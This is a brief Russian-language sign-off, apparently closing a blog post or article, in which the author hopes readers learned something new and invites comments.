Надеюсь, после прочтения данного материала вы узнали что-то новое для себя, чему-то научились и сами стали чуточку лучше.
Буду ждать комментариев.